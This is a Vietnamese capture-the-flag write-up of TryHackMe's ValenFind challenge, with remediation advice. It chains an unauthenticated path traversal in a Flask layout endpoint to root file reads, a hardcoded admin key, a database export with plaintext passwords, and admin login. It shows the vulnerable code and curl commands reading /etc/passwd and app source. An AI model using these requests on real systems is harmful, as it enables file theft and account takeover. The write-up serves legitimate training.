ValenFind: một lỗi path traversal dẫn tới đọc file bằng quyền root, lộ khóa và chiếm toàn bộ tài khoản
Phân tích challenge ValenFind trên TryHackMe — một lỗi path traversal không cần đăng nhập cho phép đọc file tùy ý bằng quyền root, làm lộ admin key hardcode, xuất cả cơ sở dữ liệu lưu mật khẩu plaintext và dẫn tới chiếm quyền tài khoản admin.
Phân tích challenge web “ValenFind” trong sự kiện Love at First Breach 2026 của TryHackMe. Chỉ một lỗi path traversal không cần xác thực cũng đủ để đọc bất kỳ file nào trên máy bằng quyền root. Ta dùng nó để đọc chính source của ứng dụng, lấy ra một admin key hardcode, xuất toàn bộ cơ sở dữ liệu — nơi mật khẩu được lưu dạng plaintext — rồi đăng nhập với tư cách admin. Không cần tài khoản ở bất kỳ bước nào.
Flag, admin key bị lộ và các mật khẩu khôi phục được đều đã được che. ValenFind là một challenge huấn luyện hợp pháp trên TryHackMe; mọi thao tác ở đây đều thực hiện trên một mục tiêu luyện tập hợp lệ. Các giá trị hiển thị dạng
<redacted>là giá trị thật trên máy nhưng được giấu đi ở đây.
TL;DR — toàn bộ chuỗi tấn công
TL;DR
GET /api/fetch_layout?layout=… ghép một tên file do người dùng kiểm soát vào một thư
mục gốc mà không hề kiểm tra traversal hay đường dẫn tuyệt đối → đọc /etc/passwd
để chứng minh có thể đọc file tùy ý bằng quyền root → đọc /opt/Valenfind/app.py
để lấy ra một ADMIN_API_KEY hardcode → gửi khóa đó tới /api/admin/export_db và
tải về toàn bộ cơ sở dữ liệu SQLite (vẫn không cần xác thực) → mật khẩu được lưu
dạng plaintext → đăng nhập bằng admin cupid → chiếm toàn bộ hệ thống.
Từ ẩn danh tới admin, trong chưa đầy một phút, hoàn toàn có thể viết script tự động.
Mục tiêu
export IP=<target-ip>
ValenFind là một ứng dụng Flask (Werkzeug 3.0.1, Python 3.12.3) phục vụ trên cổng 5000:
http://$IP:5000 → ValenFind (Flask/Werkzeug)
Đây là một web app hẹn hò theo chủ đề Valentine. Những web app cho phép chọn “theme” hay “layout” rất đáng soi kỹ — bất cứ chỗ nào server mở một file có tên đến từ request đều là ứng viên cho path traversal / đọc file cục bộ (LFI).
Lỗ hổng: /api/fetch_layout mở đúng file mà bạn chỉ định
Endpoint xử lý theme dựng đường dẫn file thẳng từ tham số truy vấn layout:
layout_file = request.args.get('layout', 'theme_classic.html')
base_dir = os.path.join(os.getcwd(), 'templates', 'components')
file_path = os.path.join(base_dir, layout_file) # abs path wins; ../ never stripped
with open(file_path, 'r') as f:
return f.read()
Điểm mấu chốt
Hai chi tiết của Python khiến lỗi này trở nên chí mạng:
os.path.join(base, "/etc/passwd")trả về/etc/passwd. Một đường dẫn tuyệt đối ở tham số thứ hai vứt bỏ hoàn toàn thư mục gốc.../không bao giờ bị loại bỏ, nên một payload tương đối cũng leo ra khỏi thư mục dự kiến dễ dàng không kém.
“Biện pháp bảo vệ” duy nhất là một blocklist chuỗi con cho .db / seeder.py — né
tránh cực kỳ dễ, và chẳng liên quan gì đến việc đọc source hay file hệ thống. Quan
trọng hơn, endpoint này không kiểm tra session, nên có thể gọi tới trước khi xác
thực. Và tiến trình chạy bằng root (/proc/self/cmdline → /usr/bin/python3 /opt/Valenfind/app.py, HOME=/root), nên “đọc file bất kỳ” nghĩa là bất kỳ file nào.
Bước 1 — chứng minh primitive: đọc /etc/passwd
curl -G "http://$IP:5000/api/fetch_layout" --data-urlencode 'layout=/etc/passwd'
# -> root:x:0:0:root:/root:/bin/bash ... (real contents)
Một negative control xác nhận đây là truy cập hệ thống file thật sự, không phải
kiểu phản hồi dội lại (reflected echo) — khi yêu cầu một file không tồn tại thì nhận
được errno 2 thật:
curl -G "http://$IP:5000/api/fetch_layout" --data-urlencode 'layout=/etc/passwd_nope'
# -> Error loading theme layout: [Errno 2] No such file or directory
Sự khác biệt đó rất quan trọng trong một báo cáo thật: lỗi chứng tỏ server thực sự
open() đường dẫn mà ta kiểm soát.
Bước 2 — đọc chính source của ứng dụng, lấy admin key
File đáng đọc nhất khi có một primitive LFI thường là source của ứng dụng — vì nó chứa
các secret. Ta biết cmdline của tiến trình trỏ tới /opt/Valenfind/app.py:
curl -G "http://$IP:5000/api/fetch_layout" --data-urlencode 'layout=/opt/Valenfind/app.py'
# -> ADMIN_API_KEY = "<redacted-admin-key>"
Source trao cho ta một admin API key hardcode. Đọc source cũng cho biết điều không
nên phí thời gian: Flask secret_key = os.urandom(24) ngẫu nhiên mỗi lần khởi động, nên
giả mạo cookie là ngõ cụt — rò rỉ credential mới là con đường thật.
Bước 3 — xuất toàn bộ cơ sở dữ liệu bằng khóa bị lộ
Admin key kiểm soát một endpoint xuất cơ sở dữ liệu. Vì khóa giờ đã nằm trong tay ta, lệnh gọi này về bản chất vẫn không cần xác thực:
curl -H 'X-Valentine-Token: <redacted-admin-key>' \
"http://$IP:5000/api/admin/export_db" -o leak.db # 200, ~16 KB SQLite
sqlite3 leak.db 'SELECT username,password FROM users;'
# -> cupid|<redacted-password> (+ 10 other users, all plaintext)
Cơ sở dữ liệu lưu mật khẩu dạng plaintext — không hề hash. Điều đó biến một vụ rò rỉ dữ liệu thành chiếm quyền tài khoản tức thì cho cả 11 người dùng, kèm theo email, số điện thoại và địa chỉ nhà của họ (PII thật trong một vụ lộ dữ liệu ngoài đời thật).
Bước 4 — chiếm quyền tài khoản admin
Có trong tay mật khẩu plaintext của admin, ta chỉ việc đăng nhập:
curl -i -d 'username=cupid&password=<redacted-password>' "http://$IP:5000/login"
# -> 302 /dashboard, session decodes to {"user_id":8,"username":"cupid"}
Giờ ta là cupid, quản trị viên. Flag của challenge được giấu trong trường address
của admin trong cơ sở dữ liệu đã xuất:
THM{<redacted>}
Request ẩn danh → đọc file bằng quyền root → khóa bị lộ → toàn bộ DB → đăng nhập admin. Mỗi nấc thang đều hoặc không cần xác thực, hoặc chỉ được “bảo vệ” bằng một secret mà chính ứng dụng tự làm lộ.
Tác động
Nghiêm trọng
Nghiêm trọng — CVSS 3.1 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H). Toàn bộ chuỗi
tấn công đều từ xa, không cần xác thực, tất định và viết script được trong vài giây:
- Đọc file tùy ý bằng quyền root — source code, secret,
/etc/passwd, mọi file. - Rút toàn bộ cơ sở dữ liệu — username, mật khẩu plaintext, email, số điện thoại và địa chỉ của cả 11 người dùng (PII kèm nghĩa vụ công bố vi phạm theo GDPR/CCPA).
- Chiếm quyền tài khoản của mọi người dùng, kể cả admin, đã được xác nhận bằng đăng nhập.
Khuyến nghị khắc phục — chặn mọi nấc thang
Khắc phục
- Giới hạn đường dẫn trong
fetch_layout. Phân giải bằngos.path.realpathvà từ chối mọi đường dẫn đã phân giải mà không nằm trong thư mục components, hoặc tốt hơn, ánh xạ một allow-list cố định các tên theme sang file. Và đừng chạy ứng dụng bằng root — nguyên tắc đặc quyền tối thiểu (least privilege) đã có thể khoanh vùng được vụ đọc file. - Bỏ
ADMIN_API_KEYhardcode. Yêu cầu một session admin thực sự đã xác thực cho/api/admin/export_db, và xoay vòng khóa đã lộ (coi như đã bị cháy). - Hash mật khẩu bằng bcrypt/argon2 (ví dụ
werkzeug.security.generate_password_hash). Lưu plaintext đã biến một lỗi đọc file thành một vụ lộ credential toàn diện.
Bài học rút ra
- Đừng bao giờ dựng đường dẫn file từ input người dùng mà không giới hạn nó.
os.path.joinkhông bảo vệ bạn — một đường dẫn tuyệt đối hay../là đi ra ngoài ngay. Hãy phân giải rồi kiểm tra tiền tố (prefix-check), hoặc dùng allow-list. - Một lỗi LFI là công cụ tìm khóa. File đầu tiên nên đọc gần như luôn là chính source của ứng dụng; các secret hardcode trong đó trao cho bạn bước tiếp theo miễn phí.
- Mật khẩu plaintext biến bất kỳ lỗi đọc file nào thành chiếm quyền tài khoản toàn diện. Hash không phải là tùy chọn — nó là thứ giới hạn bán kính thiệt hại.
- Đặc quyền tối thiểu rất quan trọng. Cùng một lỗi, đọc được
/etc/shadowbằng root so với chỉ đọc được một file template quyền thấp, là khác biệt giữa “nghiêm trọng” và “phiền phức”.
Cảm ơn bạn đã đọc. ValenFind là một bài học cô đọng về cách một lỗi path traversal tầm thường — cộng với một khóa hardcode và mật khẩu plaintext — làm sụp đổ cả một ứng dụng từ bên ngoài, không cần đăng nhập.